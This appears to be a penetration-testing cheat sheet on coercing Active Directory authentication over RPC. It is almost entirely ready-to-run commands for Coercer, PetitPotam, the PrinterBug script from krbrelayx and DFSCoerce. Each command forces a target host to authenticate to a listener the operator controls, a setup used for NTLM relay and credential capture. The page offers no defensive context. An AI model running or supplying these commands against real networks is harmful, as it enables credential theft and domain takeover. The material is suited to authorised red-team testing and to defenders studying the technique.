> For the complete documentation index, see [llms.txt](https://notes.sixthcyber.com/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://notes.sixthcyber.com/active-directory/rpc-coercion.md).

# RPC Coercion

Coerce Active Directory authentication from hosts using RPC

## Define Shell Variables

```bash
TARGET='<TARGET IP/FQDN>'
LISTENER='<YOUR IP/FQDN>'
ADUSER='<AD USERNAME>'
ADDOMAIN='<AD DOMAIN>'
```

***

## Coercer (Perfered)

```bash
pipx install git+https://github.com/p0dalirius/Coercer.git
source ~/.zshrc

# Scan for Coercion
coercer scan -t $TARGET -u $ADUSER -d $ADDOMAIN

# Coerce Bruit Force (All Techniques)
coercer coerce -l $LISTENER -t $TARGET -u $ADUSER -d $ADDOMAIN --always-continue

# Coerce HTTL NTLM Auth (WebDAV)
coercer coerce -l $LISTENER -t $TARGET -u $ADUSER -d $ADDOMAIN --auth-type http
```

***

## **PetitPotam**

```bash
cd tools
git clone https://github.com/topotam/PetitPotam.git
cd PetitPotam
chmod +x PetitPotam.py
python3 PetitPotam.py $LISTENER $TARGET -u $ADUSER -d $ADDOMAIN
```

***

## **PrinterBug**

```bash
cd tools
git clone https://github.com/dirkjanm/krbrelayx
cd krbrelayx
python3 printerbug.py $ADDOMAIN/$ADUSER@$TARGET $LISTENER
```

***

## DFSCoerce

```bash
cd tools
git clone https://github.com/Wh04m1001/DFSCoerce.git
cd DFSCoerce
python3 dfscoerce.py $LISTENER $TARGET -u $ADUSER -d $ADDOMAIN
```

```
```